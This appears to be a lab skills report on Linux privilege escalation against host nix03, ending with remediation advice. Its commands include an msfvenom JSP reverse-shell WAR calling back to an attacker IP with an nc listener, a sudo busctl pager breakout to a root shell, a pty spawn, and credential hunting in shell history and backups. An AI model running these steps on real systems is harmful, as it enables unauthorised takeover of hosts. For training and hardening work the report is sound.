

Infrastructure Security Assessment

Linux Privilege Escalation Skills Report

Target Host	nix03	Assessment Date	June 26, 2026
Final Status	COMPLETED Full Administrative Control (Root) Obtained	Prepared By	Security Engineering Team

1. Executive Summary

During a scheduled internal skills assessment against target machine **nix03**, multiple security misconfigurations and loose operational hygiene practices were identified. By systematically chaining five distinct technical flaws—ranging from unauthenticated local file exploration to arbitrary code compilation and service infrastructure interaction—access was successfully escalated from an unprivileged service profile to full `root` administrative authority.

2. Technical Attack Chain Summary

ID	Attack Vector	Command / Methodology	Artifact / Status
01	Hidden File Enumeration	<code>find . -name ".*" -not -name "." -not -name ".." 2>/dev/null</code>	Flag 1 Found
02	History Log Disclosure	<code>cat /home/<user>/.bash_history</code>	Flag 2 Found
03	Broad Logging Group Access	<code>find / -group adm -type f 2>/dev/null grep -v "/proc" ...</code>	Flag 3 Found
04	Stale Backups Search	<code>find / -name "*.bak" 2>/dev/null</code>	Plaintext Tomcat Admin Creds Located
05	Arbitrary File Upload (RCE)	Tomcat Manager War Deployment via <code>msfvenom</code>	Flag 4 Found (Service Shell)
06	Sudo Pager Privilege Escape	<code>sudo busctl --show-machine</code> followed by breakout	Flag 5 Found (Full Root)

3. Deep-Dive Findings & Timeline

Finding 01 & 02: Initial Foothold and Log Exposure

Initial scanning allowed local path identification. Active hunting for hidden reference assets uncovered sensitive execution trail profiles. Inspection of legacy shell execution profiles exposed sensitive parameters left behind during regular maintenance activities, yielding the second milestone flag.

Finding 03 & 04: Group Enumeration & Plaintext Credential Retrieval

The operating context belonged to the local `adm` security group. This status granted elevated read rights over historical operational records. Filtering system memory paths isolated a stale administrative backup copy:

```
barry@nix03:/tmp$ cat /etc/tomcat9/tomcat-users.xml.bak
<!-- Exposed Cleartext Credentials -->
<user username="tomcatadm" password="T0mc@t_s3cret_p@ss!" roles="manager-gui,manager-script..."/>
```

Finding 05: Application Deployment Abuse to User Pivot

Using the discovered management credentials, the remote Apache Tomcat Application Manager portal was accessed. An engineered Java Server Pages (JSP) web application archive package was staged to trigger a payload handler loop back to a network listener (`nc -lvp 1234`):

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.6 LPORT=1234 -f war > payload.war
```

Execution of the context dropped an interactive shell inside the webserver workspace, exposing the fourth flag string: `LLPE{im_th3_m@nag3r_n0w}`.

Finding 06: Passwordless Sudoers Abuse to Root Takeover

From the service layer account context, evaluating execution rules via `sudo -l` indicated that the application binary `/usr/bin/busctl` was permitted to run with absolute `root` administrative privileges without authentication requirements.

Because the utility formats multi-line reports into system pagers, issuing the display parameter triggered an interactive layout where terminal breakout techniques allowed dropping cleanly into a root shell context:

```
tomcat@nix03:/var/lib/tomcat9$ sudo busctl --show-machine
WARNING: terminal is not fully functional
- (press RETURN)!/bin/sh
# whoami
root
```

4. Encountered Problems & Operational Hurdles

Virtual File System Noise

Standard structural searching generated an overwhelming volume of runtime memory noise. This was countered by systematically applying inverse filtering strings like `grep -v "/proc"` to normalize results.

Restricted File System Read Permissions

Several flagged objects were explicitly visible but restricted by strong security DACLs. This required changing focus from direct data ingestion to discovering configuration remnants and backup paths.

Non-Interactive Terminal Incompatibility

The reverse-deployed web framework console lacked standard terminal feature maps. It refused multi-character escape combinations, which was handled by initiating an explicit pseudo-terminal wrapper using an inline Python handler:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

5. Remediation Action Plan

1. Enforce Strict Privilege Constraints

Review the `/etc/sudoers` allocation mapping. Remove explicit passwordless binary pathways for utility programs handling native interface paging frameworks, or append execution configurations such as `SYSTEMD_PAGER=cat` to neutralize execution drops.

2. Implement Automated Backup Expiry Rules

Establish rigorous directory scanning rules to locate and eliminate historical configuration copies (e.g., `.bak`, `.old`) containing administrative details.

3. Segment Management Panels

Implement firewall policies or access filters restricting interface panels like `/manager/html` exclusively to verified administrative subnets.